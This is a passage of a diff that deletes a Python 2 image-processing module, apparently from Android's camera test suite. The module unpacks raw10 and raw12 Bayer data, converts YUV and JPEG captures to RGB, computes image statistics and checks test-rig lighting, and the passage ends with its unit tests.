-        raise its.error.Error('Invalid raw-10 buffer width')
-    cap = copy.deepcopy(cap)
-    cap["data"] = unpack_raw10_image(cap["data"].reshape(h,w*5/4))
-    cap["format"] = "raw"
-    return cap
-
-
-def unpack_raw10_image(img):
-    """Unpack a raw-10 image to a raw-16 image.
-
-    Output image will have the 10 LSBs filled in each 16b word, and the 6 MSBs
-    will be set to zero.
-
-    Args:
-        img: A raw-10 image, as a uint8 numpy array.
-
-    Returns:
-        Image as a uint16 numpy array, with all row padding stripped.
-    """
-    if img.shape[1] % 5 != 0:
-        raise its.error.Error('Invalid raw-10 buffer width')
-    w = img.shape[1]*4/5
-    h = img.shape[0]
-    # Cut out the 4x8b MSBs and shift to bits [9:2] in 16b words.
-    msbs = numpy.delete(img, numpy.s_[4::5], 1)
-    msbs = msbs.astype(numpy.uint16)
-    msbs = numpy.left_shift(msbs, 2)
-    msbs = msbs.reshape(h,w)
-    # Cut out the 4x2b LSBs and put each in bits [1:0] of their own 8b words.
-    lsbs = img[::, 4::5].reshape(h,w/4)
-    lsbs = numpy.right_shift(
-            numpy.packbits(numpy.unpackbits(lsbs).reshape(h,w/4,4,2),3), 6)
-    # Pair the LSB bits group to 0th pixel instead of 3rd pixel
-    lsbs = lsbs.reshape(h,w/4,4)[:,:,::-1]
-    lsbs = lsbs.reshape(h,w)
-    # Fuse the MSBs and LSBs back together
-    img16 = numpy.bitwise_or(msbs, lsbs).reshape(h,w)
-    return img16
-
-
-def unpack_raw12_capture(cap, props):
-    """Unpack a raw-12 capture to a raw-16 capture.
-
-    Args:
-        cap: A raw-12 capture object.
-        props: Camera properties object.
-
-    Returns:
-        New capture object with raw-16 data.
-    """
-    # Data is packed as 4x10b pixels in 5 bytes, with the first 4 bytes holding
-    # the MSBs of the pixels, and the 5th byte holding 4x2b LSBs.
-    w,h = cap["width"], cap["height"]
-    if w % 2 != 0:
-        raise its.error.Error('Invalid raw-12 buffer width')
-    cap = copy.deepcopy(cap)
-    cap["data"] = unpack_raw12_image(cap["data"].reshape(h,w*3/2))
-    cap["format"] = "raw"
-    return cap
-
-
-def unpack_raw12_image(img):
-    """Unpack a raw-12 image to a raw-16 image.
-
-    Output image will have the 12 LSBs filled in each 16b word, and the 4 MSBs
-    will be set to zero.
-
-    Args:
-        img: A raw-12 image, as a uint8 numpy array.
-
-    Returns:
-        Image as a uint16 numpy array, with all row padding stripped.
-    """
-    if img.shape[1] % 3 != 0:
-        raise its.error.Error('Invalid raw-12 buffer width')
-    w = img.shape[1]*2/3
-    h = img.shape[0]
-    # Cut out the 2x8b MSBs and shift to bits [11:4] in 16b words.
-    msbs = numpy.delete(img, numpy.s_[2::3], 1)
-    msbs = msbs.astype(numpy.uint16)
-    msbs = numpy.left_shift(msbs, 4)
-    msbs = msbs.reshape(h,w)
-    # Cut out the 2x4b LSBs and put each in bits [3:0] of their own 8b words.
-    lsbs = img[::, 2::3].reshape(h,w/2)
-    lsbs = numpy.right_shift(
-            numpy.packbits(numpy.unpackbits(lsbs).reshape(h,w/2,2,4),3), 4)
-    # Pair the LSB bits group to pixel 0 instead of pixel 1
-    lsbs = lsbs.reshape(h,w/2,2)[:,:,::-1]
-    lsbs = lsbs.reshape(h,w)
-    # Fuse the MSBs and LSBs back together
-    img16 = numpy.bitwise_or(msbs, lsbs).reshape(h,w)
-    return img16
-
-
-def convert_capture_to_planes(cap, props=None):
-    """Convert a captured image object to separate image planes.
-
-    Decompose an image into multiple images, corresponding to different planes.
-
-    For YUV420 captures ("yuv"):
-        Returns Y,U,V planes, where the Y plane is full-res and the U,V planes
-        are each 1/2 x 1/2 of the full res.
-
-    For Bayer captures ("raw", "raw10", "raw12", or "rawStats"):
-        Returns planes in the order R,Gr,Gb,B, regardless of the Bayer pattern
-        layout. For full-res raw images ("raw", "raw10", "raw12"), each plane
-        is 1/2 x 1/2 of the full res. For "rawStats" images, the mean image
-        is returned.
-
-    For JPEG captures ("jpeg"):
-        Returns R,G,B full-res planes.
-
-    Args:
-        cap: A capture object as returned by its.device.do_capture.
-        props: (Optional) camera properties object (of static values);
-            required for processing raw images.
-
-    Returns:
-        A tuple of float numpy arrays (one per plane), consisting of pixel
-            values in the range [0.0, 1.0].
-    """
-    w = cap["width"]
-    h = cap["height"]
-    if cap["format"] == "raw10":
-        assert(props is not None)
-        cap = unpack_raw10_capture(cap, props)
-    if cap["format"] == "raw12":
-        assert(props is not None)
-        cap = unpack_raw12_capture(cap, props)
-    if cap["format"] == "yuv":
-        y = cap["data"][0:w*h]
-        u = cap["data"][w*h:w*h*5/4]
-        v = cap["data"][w*h*5/4:w*h*6/4]
-        return ((y.astype(numpy.float32) / 255.0).reshape(h, w, 1),
-                (u.astype(numpy.float32) / 255.0).reshape(h/2, w/2, 1),
-                (v.astype(numpy.float32) / 255.0).reshape(h/2, w/2, 1))
-    elif cap["format"] == "jpeg":
-        rgb = decompress_jpeg_to_rgb_image(cap["data"]).reshape(w*h*3)
-        return (rgb[::3].reshape(h,w,1),
-                rgb[1::3].reshape(h,w,1),
-                rgb[2::3].reshape(h,w,1))
-    elif cap["format"] == "raw":
-        assert(props is not None)
-        white_level = float(props['android.sensor.info.whiteLevel'])
-        img = numpy.ndarray(shape=(h*w,), dtype='<u2',
-                            buffer=cap["data"][0:w*h*2])
-        img = img.astype(numpy.float32).reshape(h,w) / white_level
-        # Crop the raw image to the active array region.
-        if props.has_key("android.sensor.info.preCorrectionActiveArraySize") \
-                and props["android.sensor.info.preCorrectionActiveArraySize"] is not None \
-                and props.has_key("android.sensor.info.pixelArraySize") \
-                and props["android.sensor.info.pixelArraySize"] is not None:
-            # Note that the Rect class is defined such that the left,top values
-            # are "inside" while the right,bottom values are "outside"; that is,
-            # it's inclusive of the top,left sides only. So, the width is
-            # computed as right-left, rather than right-left+1, etc.
-            wfull = props["android.sensor.info.pixelArraySize"]["width"]
-            hfull = props["android.sensor.info.pixelArraySize"]["height"]
-            xcrop = props["android.sensor.info.preCorrectionActiveArraySize"]["left"]
-            ycrop = props["android.sensor.info.preCorrectionActiveArraySize"]["top"]
-            wcrop = props["android.sensor.info.preCorrectionActiveArraySize"]["right"]-xcrop
-            hcrop = props["android.sensor.info.preCorrectionActiveArraySize"]["bottom"]-ycrop
-            assert(wfull >= wcrop >= 0)
-            assert(hfull >= hcrop >= 0)
-            assert(wfull - wcrop >= xcrop >= 0)
-            assert(hfull - hcrop >= ycrop >= 0)
-            if w == wfull and h == hfull:
-                # Crop needed; extract the center region.
-                img = img[ycrop:ycrop+hcrop,xcrop:xcrop+wcrop]
-                w = wcrop
-                h = hcrop
-            elif w == wcrop and h == hcrop:
-                # No crop needed; image is already cropped to the active array.
-                None
-            else:
-                raise its.error.Error('Invalid image size metadata')
-        # Separate the image planes.
-        imgs = [img[::2].reshape(w*h/2)[::2].reshape(h/2,w/2,1),
-                img[::2].reshape(w*h/2)[1::2].reshape(h/2,w/2,1),
-                img[1::2].reshape(w*h/2)[::2].reshape(h/2,w/2,1),
-                img[1::2].reshape(w*h/2)[1::2].reshape(h/2,w/2,1)]
-        idxs = get_canonical_cfa_order(props)
-        return [imgs[i] for i in idxs]
-    elif cap["format"] == "rawStats":
-        assert(props is not None)
-        white_level = float(props['android.sensor.info.whiteLevel'])
-        mean_image, var_image = its.image.unpack_rawstats_capture(cap)
-        idxs = get_canonical_cfa_order(props)
-        return [mean_image[:,:,i] / white_level for i in idxs]
-    else:
-        raise its.error.Error('Invalid format %s' % (cap["format"]))
-
-
-def get_canonical_cfa_order(props):
-    """Returns a mapping from the Bayer 2x2 top-left grid in the CFA to
-    the standard order R,Gr,Gb,B.
-
-    Args:
-        props: Camera properties object.
-
-    Returns:
-        List of 4 integers, corresponding to the positions in the 2x2 top-
-            left Bayer grid of R,Gr,Gb,B, where the 2x2 grid is labeled as
-            0,1,2,3 in row major order.
-    """
-    # Note that raw streams aren't croppable, so the cropRegion doesn't need
-    # to be considered when determining the top-left pixel color.
-    cfa_pat = props['android.sensor.info.colorFilterArrangement']
-    if cfa_pat == 0:
-        # RGGB
-        return [0,1,2,3]
-    elif cfa_pat == 1:
-        # GRBG
-        return [1,0,3,2]
-    elif cfa_pat == 2:
-        # GBRG
-        return [2,3,0,1]
-    elif cfa_pat == 3:
-        # BGGR
-        return [3,2,1,0]
-    else:
-        raise its.error.Error("Not supported")
-
-
-def get_gains_in_canonical_order(props, gains):
-    """Reorders the gains tuple to the canonical R,Gr,Gb,B order.
-
-    Args:
-        props: Camera properties object.
-        gains: List of 4 values, in R,G_even,G_odd,B order.
-
-    Returns:
-        List of gains values, in R,Gr,Gb,B order.
-    """
-    cfa_pat = props['android.sensor.info.colorFilterArrangement']
-    if cfa_pat in [0,1]:
-        # RGGB or GRBG, so G_even is Gr
-        return gains
-    elif cfa_pat in [2,3]:
-        # GBRG or BGGR, so G_even is Gb
-        return [gains[0], gains[2], gains[1], gains[3]]
-    else:
-        raise its.error.Error("Not supported")
-
-
-def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane,
-                             props, cap_res):
-    """Convert a Bayer raw-16 image to an RGB image.
-
-    Includes some extremely rudimentary demosaicking and color processing
-    operations; the output of this function shouldn't be used for any image
-    quality analysis.
-
-    Args:
-        r_plane,gr_plane,gb_plane,b_plane: Numpy arrays for each color plane
-            in the Bayer image, with pixels in the [0.0, 1.0] range.
-        props: Camera properties object.
-        cap_res: Capture result (metadata) object.
-
-    Returns:
-        RGB float-3 image array, with pixel values in [0.0, 1.0]
-    """
-    # Values required for the RAW to RGB conversion.
-    assert(props is not None)
-    white_level = float(props['android.sensor.info.whiteLevel'])
-    black_levels = props['android.sensor.blackLevelPattern']
-    gains = cap_res['android.colorCorrection.gains']
-    ccm = cap_res['android.colorCorrection.transform']
-
-    # Reorder black levels and gains to R,Gr,Gb,B, to match the order
-    # of the planes.
-    black_levels = [get_black_level(i,props,cap_res) for i in range(4)]
-    gains = get_gains_in_canonical_order(props, gains)
-
-    # Convert CCM from rational to float, as numpy arrays.
-    ccm = numpy.array(its.objects.rational_to_float(ccm)).reshape(3,3)
-
-    # Need to scale the image back to the full [0,1] range after subtracting
-    # the black level from each pixel.
-    scale = white_level / (white_level - max(black_levels))
-
-    # Three-channel black levels, normalized to [0,1] by white_level.
-    black_levels = numpy.array([b/white_level for b in [
-            black_levels[i] for i in [0,1,3]]])
-
-    # Three-channel gains.
-    gains = numpy.array([gains[i] for i in [0,1,3]])
-
-    h,w = r_plane.shape[:2]
-    img = numpy.dstack([r_plane,(gr_plane+gb_plane)/2.0,b_plane])
-    img = (((img.reshape(h,w,3) - black_levels) * scale) * gains).clip(0.0,1.0)
-    img = numpy.dot(img.reshape(w*h,3), ccm.T).reshape(h,w,3).clip(0.0,1.0)
-    return img
-
-
-def get_black_level(chan, props, cap_res=None):
-    """Return the black level to use for a given capture.
-
-    Uses a dynamic value from the capture result if available, else falls back
-    to the static global value in the camera characteristics.
-
-    Args:
-        chan: The channel index, in canonical order (R, Gr, Gb, B).
-        props: The camera properties object.
-        cap_res: A capture result object.
-
-    Returns:
-        The black level value for the specified channel.
-    """
-    if (cap_res is not None and cap_res.has_key('android.sensor.dynamicBlackLevel') and
-            cap_res['android.sensor.dynamicBlackLevel'] is not None):
-        black_levels = cap_res['android.sensor.dynamicBlackLevel']
-    else:
-        black_levels = props['android.sensor.blackLevelPattern']
-    idxs = its.image.get_canonical_cfa_order(props)
-    ordered_black_levels = [black_levels[i] for i in idxs]
-    return ordered_black_levels[chan]
-
-
-def convert_yuv420_planar_to_rgb_image(y_plane, u_plane, v_plane,
-                                       w, h,
-                                       ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
-                                       yuv_off=DEFAULT_YUV_OFFSETS):
-    """Convert a YUV420 8-bit planar image to an RGB image.
-
-    Args:
-        y_plane: The packed 8-bit Y plane.
-        u_plane: The packed 8-bit U plane.
-        v_plane: The packed 8-bit V plane.
-        w: The width of the image.
-        h: The height of the image.
-        ccm_yuv_to_rgb: (Optional) the 3x3 CCM to convert from YUV to RGB.
-        yuv_off: (Optional) offsets to subtract from each of Y,U,V values.
-
-    Returns:
-        RGB float-3 image array, with pixel values in [0.0, 1.0].
-    """
-    y = numpy.subtract(y_plane, yuv_off[0])
-    u = numpy.subtract(u_plane, yuv_off[1]).view(numpy.int8)
-    v = numpy.subtract(v_plane, yuv_off[2]).view(numpy.int8)
-    u = u.reshape(h/2, w/2).repeat(2, axis=1).repeat(2, axis=0)
-    v = v.reshape(h/2, w/2).repeat(2, axis=1).repeat(2, axis=0)
-    yuv = numpy.dstack([y, u.reshape(w*h), v.reshape(w*h)])
-    flt = numpy.empty([h, w, 3], dtype=numpy.float32)
-    flt.reshape(w*h*3)[:] = yuv.reshape(h*w*3)[:]
-    flt = numpy.dot(flt.reshape(w*h,3), ccm_yuv_to_rgb.T).clip(0, 255)
-    rgb = numpy.empty([h, w, 3], dtype=numpy.uint8)
-    rgb.reshape(w*h*3)[:] = flt.reshape(w*h*3)[:]
-    return rgb.astype(numpy.float32) / 255.0
-
-def convert_y8_to_rgb_image(y_plane, w, h):
-    """Convert a Y 8-bit image to an RGB image.
-
-    Args:
-        y_plane: The packed 8-bit Y plane.
-        w: The width of the image.
-        h: The height of the image.
-
-    Returns:
-        RGB float-3 image array, with pixel values in [0.0, 1.0].
-    """
-    y3 = numpy.dstack([y_plane, y_plane, y_plane])
-    rgb = numpy.empty([h, w, 3], dtype=numpy.uint8)
-    rgb.reshape(w*h*3)[:] = y3.reshape(w*h*3)[:]
-    return rgb.astype(numpy.float32) / 255.0
-
-def load_rgb_image(fname):
-    """Load a standard image file (JPG, PNG, etc.).
-
-    Args:
-        fname: The path of the file to load.
-
-    Returns:
-        RGB float-3 image array, with pixel values in [0.0, 1.0].
-    """
-    img = Image.open(fname)
-    w = img.size[0]
-    h = img.size[1]
-    a = numpy.array(img)
-    if len(a.shape) == 3 and a.shape[2] == 3:
-        # RGB
-        return a.reshape(h,w,3) / 255.0
-    elif len(a.shape) == 2 or len(a.shape) == 3 and a.shape[2] == 1:
-        # Greyscale; convert to RGB
-        return a.reshape(h*w).repeat(3).reshape(h,w,3) / 255.0
-    else:
-        raise its.error.Error('Unsupported image type')
-
-
-def load_yuv420_to_rgb_image(yuv_fname,
-                             w, h,
-                             layout="planar",
-                             ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
-                             yuv_off=DEFAULT_YUV_OFFSETS):
-    """Load a YUV420 image file, and return as an RGB image.
-
-    Supported layouts include "planar" and "nv21". The "yuv" formatted captures
-    returned from the device via do_capture are in the "planar" layout; other
-    layouts may only be needed for loading files from other sources.
-
-    Args:
-        yuv_fname: The path of the YUV420 file.
-        w: The width of the image.
-        h: The height of the image.
-        layout: (Optional) the layout of the YUV data (as a string).
-        ccm_yuv_to_rgb: (Optional) the 3x3 CCM to convert from YUV to RGB.
-        yuv_off: (Optional) offsets to subtract from each of Y,U,V values.
-
-    Returns:
-        RGB float-3 image array, with pixel values in [0.0, 1.0].
-    """
-    with open(yuv_fname, "rb") as f:
-        if layout == "planar":
-            # Plane of Y, plane of V, plane of U.
-            y = numpy.fromfile(f, numpy.uint8, w*h, "")
-            v = numpy.fromfile(f, numpy.uint8, w*h/4, "")
-            u = numpy.fromfile(f, numpy.uint8, w*h/4, "")
-        elif layout == "nv21":
-            # Plane of Y, plane of interleaved VUVUVU...
-            y = numpy.fromfile(f, numpy.uint8, w*h, "")
-            vu = numpy.fromfile(f, numpy.uint8, w*h/2, "")
-            v = vu[0::2]
-            u = vu[1::2]
-        else:
-            raise its.error.Error('Unsupported image layout')
-        return convert_yuv420_planar_to_rgb_image(
-                y,u,v,w,h,ccm_yuv_to_rgb,yuv_off)
-
-
-def load_yuv420_planar_to_yuv_planes(yuv_fname, w, h):
-    """Load a YUV420 planar image file, and return Y, U, and V plane images.
-
-    Args:
-        yuv_fname: The path of the YUV420 file.
-        w: The width of the image.
-        h: The height of the image.
-
-    Returns:
-        Separate Y, U, and V images as float-1 Numpy arrays, pixels in [0,1].
-        Note that pixel (0,0,0) is not black, since U,V pixels are centered at
-        0.5, and also that the Y and U,V plane images returned are different
-        sizes (due to chroma subsampling in the YUV420 format).
-    """
-    with open(yuv_fname, "rb") as f:
-        y = numpy.fromfile(f, numpy.uint8, w*h, "")
-        v = numpy.fromfile(f, numpy.uint8, w*h/4, "")
-        u = numpy.fromfile(f, numpy.uint8, w*h/4, "")
-        return ((y.astype(numpy.float32) / 255.0).reshape(h, w, 1),
-                (u.astype(numpy.float32) / 255.0).reshape(h/2, w/2, 1),
-                (v.astype(numpy.float32) / 255.0).reshape(h/2, w/2, 1))
-
-
-def decompress_jpeg_to_rgb_image(jpeg_buffer):
-    """Decompress a JPEG-compressed image, returning as an RGB image.
-
-    Args:
-        jpeg_buffer: The JPEG stream.
-
-    Returns:
-        A numpy array for the RGB image, with pixels in [0,1].
-    """
-    img = Image.open(cStringIO.StringIO(jpeg_buffer))
-    w = img.size[0]
-    h = img.size[1]
-    return numpy.array(img).reshape(h,w,3) / 255.0
-
-
-def apply_lut_to_image(img, lut):
-    """Applies a LUT to every pixel in a float image array.
-
-    Internally converts to a 16b integer image, since the LUT can work with up
-    to 16b->16b mappings (i.e. values in the range [0,65535]). The lut can also
-    have fewer than 65536 entries, however it must be sized as a power of 2
-    (and for smaller luts, the scale must match the bitdepth).
-
-    For a 16b lut of 65536 entries, the operation performed is:
-
-        lut[r * 65535] / 65535 -> r'
-        lut[g * 65535] / 65535 -> g'
-        lut[b * 65535] / 65535 -> b'
-
-    For a 10b lut of 1024 entries, the operation becomes:
-
-        lut[r * 1023] / 1023 -> r'
-        lut[g * 1023] / 1023 -> g'
-        lut[b * 1023] / 1023 -> b'
-
-    Args:
-        img: Numpy float image array, with pixel values in [0,1].
-        lut: Numpy table encoding a LUT, mapping 16b integer values.
-
-    Returns:
-        Float image array after applying LUT to each pixel.
-    """
-    n = len(lut)
-    if n <= 0 or n > MAX_LUT_SIZE or (n & (n - 1)) != 0:
-        raise its.error.Error('Invalid arg LUT size: %d' % (n))
-    m = float(n-1)
-    return (lut[(img * m).astype(numpy.uint16)] / m).astype(numpy.float32)
-
-
-def apply_matrix_to_image(img, mat):
-    """Multiplies a 3x3 matrix with each float-3 image pixel.
-
-    Each pixel is considered a column vector, and is left-multiplied by
-    the given matrix:
-
-        [     ]   r    r'
-        [ mat ] * g -> g'
-        [     ]   b    b'
-
-    Args:
-        img: Numpy float image array, with pixel values in [0,1].
-        mat: Numpy 3x3 matrix.
-
-    Returns:
-        The numpy float-3 image array resulting from the matrix mult.
-    """
-    h = img.shape[0]
-    w = img.shape[1]
-    img2 = numpy.empty([h, w, 3], dtype=numpy.float32)
-    img2.reshape(w*h*3)[:] = (numpy.dot(img.reshape(h*w, 3), mat.T)
-                             ).reshape(w*h*3)[:]
-    return img2
-
-
-def get_image_patch(img, xnorm, ynorm, wnorm, hnorm):
-    """Get a patch (tile) of an image.
-
-    Args:
-        img: Numpy float image array, with pixel values in [0,1].
-        xnorm,ynorm,wnorm,hnorm: Normalized (in [0,1]) coords for the tile.
-
-    Returns:
-        Float image array of the patch.
-    """
-    hfull = img.shape[0]
-    wfull = img.shape[1]
-    xtile = int(math.ceil(xnorm * wfull))
-    ytile = int(math.ceil(ynorm * hfull))
-    wtile = int(math.floor(wnorm * wfull))
-    htile = int(math.floor(hnorm * hfull))
-    if len(img.shape)==2:
-        return img[ytile:ytile+htile,xtile:xtile+wtile].copy()
-    else:
-        return img[ytile:ytile+htile,xtile:xtile+wtile,:].copy()
-
-def validate_lighting(img):
-    """Evaluate four corner patches of image to check if light is ON or OFF.
-    Args:
-        img: numpy float array of RGB image, with pixel values in [0, 1].
-
-    Returns:
-        True if the G channel of the RGB mean is <LIGHT_ON_THRESHOLD;
-        otherwise assertion fails.
-    """
-
-    patch_w = 0.05
-    patch_h = 0.05
-    img_b = IMG_B - patch_h
-    img_r = IMG_R - patch_w
-
-    patch_tl = its.image.get_image_patch(img, IMG_L, IMG_T, patch_w, patch_h)
-    patch_tr = its.image.get_image_patch(img, img_r, IMG_T, patch_w, patch_h)
-    patch_bl = its.image.get_image_patch(img, IMG_L, img_b, patch_w, patch_h)
-    patch_br = its.image.get_image_patch(img, img_r, img_b, patch_w, patch_h)
-    g_mean_tl = its.image.compute_image_means(patch_tl)[G_CHANNEL]
-    g_mean_tr = its.image.compute_image_means(patch_tr)[G_CHANNEL]
-    g_mean_bl = its.image.compute_image_means(patch_bl)[G_CHANNEL]
-    g_mean_br = its.image.compute_image_means(patch_br)[G_CHANNEL]
-    print "Corner patch green values. TL: %3.3f, TR: %.3f, BL: %.3f, BR: %.3f" % (
-            g_mean_tl, g_mean_tr, g_mean_bl, g_mean_br)
-    if (g_mean_tl > LIGHT_ON_THRESHOLD or
-        g_mean_tr > LIGHT_ON_THRESHOLD or
-        g_mean_bl > LIGHT_ON_THRESHOLD or
-        g_mean_br > LIGHT_ON_THRESHOLD):
-        print "Lights are ON in test rig."
-        return True
-    else:
-        assert 0, "Lights are OFF in test rig. Please turn lights on and retry."
-        return False
-
-
-def compute_image_means(img):
-    """Calculate the mean of each color channel in the image.
-
-    Args:
-        img: Numpy float image array, with pixel values in [0,1].
-
-    Returns:
-        A list of mean values, one per color channel in the image.
-    """
-    means = []
-    chans = img.shape[2]
-    for i in xrange(chans):
-        means.append(numpy.mean(img[:,:,i], dtype=numpy.float64))
-    return means
-
-
-def compute_image_variances(img):
-    """Calculate the variance of each color channel in the image.
-
-    Args:
-        img: Numpy float image array, with pixel values in [0,1].
-
-    Returns:
-        A list of mean values, one per color channel in the image.
-    """
-    variances = []
-    chans = img.shape[2]
-    for i in xrange(chans):
-        variances.append(numpy.var(img[:,:,i], dtype=numpy.float64))
-    return variances
-
-
-def compute_image_snrs(img):
-    """Calculate the SNR (db) of each color channel in the image.
-
-    Args:
-        img: Numpy float image array, with pixel values in [0,1].
-
-    Returns:
-        A list of SNR value, one per color channel in the image.
-    """
-    means = compute_image_means(img)
-    variances = compute_image_variances(img)
-    std_devs = [math.sqrt(v) for v in variances]
-    snr = [20 * math.log10(m/s) for m,s in zip(means, std_devs)]
-    return snr
-
-
-def compute_image_max_gradients(img):
-    """Calculate the maximum gradient of each color channel in the image.
-
-    Args:
-        img: Numpy float image array, with pixel values in [0,1].
-
-    Returns:
-        A list of gradient max values, one per color channel in the image.
-    """
-    grads = []
-    chans = img.shape[2]
-    for i in xrange(chans):
-        grads.append(numpy.amax(numpy.gradient(img[:, :, i])))
-    return grads
-
-
-def write_image(img, fname, apply_gamma=False):
-    """Save a float-3 numpy array image to a file.
-
-    Supported formats: PNG, JPEG, and others; see PIL docs for more.
-
-    Image can be 3-channel, which is interpreted as RGB, or can be 1-channel,
-    which is greyscale.
-
-    Can optionally specify that the image should be gamma-encoded prior to
-    writing it out; this should be done if the image contains linear pixel
-    values, to make the image look "normal".
-
-    Args:
-        img: Numpy image array data.
-        fname: Path of file to save to; the extension specifies the format.
-        apply_gamma: (Optional) apply gamma to the image prior to writing it.
-    """
-    if apply_gamma:
-        img = apply_lut_to_image(img, DEFAULT_GAMMA_LUT)
-    (h, w, chans) = img.shape
-    if chans == 3:
-        Image.fromarray((img * 255.0).astype(numpy.uint8), "RGB").save(fname)
-    elif chans == 1:
-        img3 = (img * 255.0).astype(numpy.uint8).repeat(3).reshape(h,w,3)
-        Image.fromarray(img3, "RGB").save(fname)
-    else:
-        raise its.error.Error('Unsupported image type')
-
-
-def downscale_image(img, f):
-    """Shrink an image by a given integer factor.
-
-    This function computes output pixel values by averaging over rectangular
-    regions of the input image; it doesn't skip or sample pixels, and all input
-    image pixels are evenly weighted.
-
-    If the downscaling factor doesn't cleanly divide the width and/or height,
-    then the remaining pixels on the right or bottom edge are discarded prior
-    to the downscaling.
-
-    Args:
-        img: The input image as an ndarray.
-        f: The downscaling factor, which should be an integer.
-
-    Returns:
-        The new (downscaled) image, as an ndarray.
-    """
-    h,w,chans = img.shape
-    f = int(f)
-    assert(f >= 1)
-    h = (h/f)*f
-    w = (w/f)*f
-    img = img[0:h:,0:w:,::]
-    chs = []
-    for i in xrange(chans):
-        ch = img.reshape(h*w*chans)[i::chans].reshape(h,w)
-        ch = ch.reshape(h,w/f,f).mean(2).reshape(h,w/f)
-        ch = ch.T.reshape(w/f,h/f,f).mean(2).T.reshape(h/f,w/f)
-        chs.append(ch.reshape(h*w/(f*f)))
-    img = numpy.vstack(chs).T.reshape(h/f,w/f,chans)
-    return img
-
-
-def compute_image_sharpness(img):
-    """Calculate the sharpness of input image.
-
-    Args:
-        img: Numpy float RGB/luma image array, with pixel values in [0,1].
-
-    Returns:
-        A sharpness estimation value based on the average of gradient magnitude.
-        Larger value means the image is sharper.
-    """
-    chans = img.shape[2]
-    assert(chans == 1 or chans == 3)
-    if (chans == 1):
-        luma = img[:, :, 0]
-    elif (chans == 3):
-        luma = 0.299 * img[:,:,0] + 0.587 * img[:,:,1] + 0.114 * img[:,:,2]
-
-    [gy, gx] = numpy.gradient(luma)
-    return numpy.average(numpy.sqrt(gy*gy + gx*gx))
-
-
-def normalize_img(img):
-    """Normalize the image values to between 0 and 1.
-
-    Args:
-        img: 2-D numpy array of image values
-    Returns:
-        Normalized image
-    """
-    return (img - numpy.amin(img))/(numpy.amax(img) - numpy.amin(img))
-
-
-def chart_located_per_argv():
-    """Determine if chart already located outside of test.
-
-    If chart info provided, return location and size. If not, return None.
-
-    Args:
-        None
-    Returns:
-        chart_loc:  float converted xnorm,ynorm,wnorm,hnorm,scale from argv text.
-                    argv is of form 'chart_loc=0.45,0.45,0.1,0.1,1.0'
-    """
-    for s in sys.argv[1:]:
-        if s[:10] == "chart_loc=" and len(s) > 10:
-            chart_loc = s[10:].split(",")
-            return map(float, chart_loc)
-    return None, None, None, None, None
-
-
-def rotate_img_per_argv(img):
-    """Rotate an image 180 degrees if "rotate" is in argv
-
-    Args:
-        img: 2-D numpy array of image values
-    Returns:
-        Rotated image
-    """
-    img_out = img
-    if "rotate180" in sys.argv:
-        img_out = numpy.fliplr(numpy.flipud(img_out))
-    return img_out
-
-
-def stationary_lens_cap(cam, req, fmt):
-    """Take up to NUM_TRYS caps and save the 1st one with lens stationary.
-
-    Args:
-        cam:    open device session
-        req:    capture request
-        fmt:    format for capture
-
-    Returns:
-        capture
-    """
-    trys = 0
-    done = False
-    reqs = [req] * NUM_FRAMES
-    while not done:
-        print 'Waiting for lens to move to correct location...'
-        cap = cam.do_capture(reqs, fmt)
-        done = (cap[NUM_FRAMES-1]['metadata']['android.lens.state'] == 0)
-        print ' status: ', done
-        trys += 1
-        if trys == NUM_TRYS:
-            raise its.error.Error('Cannot settle lens after %d trys!' % trys)
-    return cap[NUM_FRAMES-1]
-
-
-class __UnitTest(unittest.TestCase):
-    """Run a suite of unit tests on this module.
-    """
-
-    # TODO: Add more unit tests.
-
-    def test_apply_matrix_to_image(self):
-        """Unit test for apply_matrix_to_image.
-
-        Test by using a canned set of values on a 1x1 pixel image.
-
-            [ 1 2 3 ]   [ 0.1 ]   [ 1.4 ]
-            [ 4 5 6 ] * [ 0.2 ] = [ 3.2 ]
-            [ 7 8 9 ]   [ 0.3 ]   [ 5.0 ]
-               mat         x         y
-        """
-        mat = numpy.array([[1,2,3], [4,5,6], [7,8,9]])
-        x = numpy.array([0.1,0.2,0.3]).reshape(1,1,3)
-        y = apply_matrix_to_image(x, mat).reshape(3).tolist()
-        y_ref = [1.4,3.2,5.0]
-        passed = all([math.fabs(y[i] - y_ref[i]) < 0.001 for i in xrange(3)])
-        self.assertTrue(passed)
-
-    def test_apply_lut_to_image(self):
-        """Unit test for apply_lut_to_image.
-
-        Test by using a canned set of values on a 1x1 pixel image. The LUT will
-        simply double the value of the index:
-
-            lut[x] = 2*x
-        """
-        lut = numpy.array([2*i for i in xrange(65536)])
-        x = numpy.array([0.1,0.2,0.3]).reshape(1,1,3)
-        y = apply_lut_to_image(x, lut).reshape(3).tolist()
-        y_ref = [0.2,0.4,0.6]
-        passed = all([math.fabs(y[i] - y_ref[i]) < 0.001 for i in xrange(3)])
-        self.assertTrue(passed)
-
-    def test_unpack_raw10_image(self):
-        """Unit test for unpack_raw10_image.
-
-        RAW10 bit packing format
-                bit 7   bit 6   bit 5   bit 4   bit 3   bit 2   bit 1   bit 0
-        Byte 0: P0[9]   P0[8]   P0[7]   P0[6]   P0[5]   P0[4]   P0[3]   P0[2]
-        Byte 1: P1[9]   P1[8]   P1[7]   P1[6]   P1[5]   P1[4]   P1[3]   P1[2]
-        Byte 2: P2[9]   P2[8]   P2[7]   P2[6]   P2[5]   P2[4]   P2[3]   P2[2]
-        Byte 3: P3[9]   P3[8]   P3[7]   P3[6]   P3[5]   P3[4]   P3[3]   P3[2]
-        Byte 4: P3[1]   P3[0]   P2[1]   P2[0]   P1[1]   P1[0]   P0[1]   P0[0]
-        """
-        # test by using a random 4x4 10-bit image
-        H = 4
-        W = 4
-        check_list = random.sample(range(0, 1024), H*W)
-        img_check = numpy.array(check_list).reshape(H, W)
-        # pack bits
-        for row_start in range(0, len(check_list), W):
-            msbs = []
-            lsbs = ""
-            for pixel in range(W):
-                val = numpy.binary_repr(check_list[row_start+pixel], 10)
-                msbs.append(int(val[:8], base=2))
-                lsbs = val[8:] + lsbs
-            packed = msbs
-            packed.append(int(lsbs, base=2))
-            chunk_raw10 = numpy.array(packed, dtype="uint8").reshape(1, 5)
-            if row_start == 0:
-                img_raw10 = chunk_raw10
-            else:
-                img_raw10 = numpy.vstack((img_raw10, chunk_raw10))
-        # unpack and check against original
-        self.assertTrue(numpy.array_equal(unpack_raw10_image(img_raw10),
-                                          img_check))
-
-if __name__ == "__main__":
-    unittest.main()
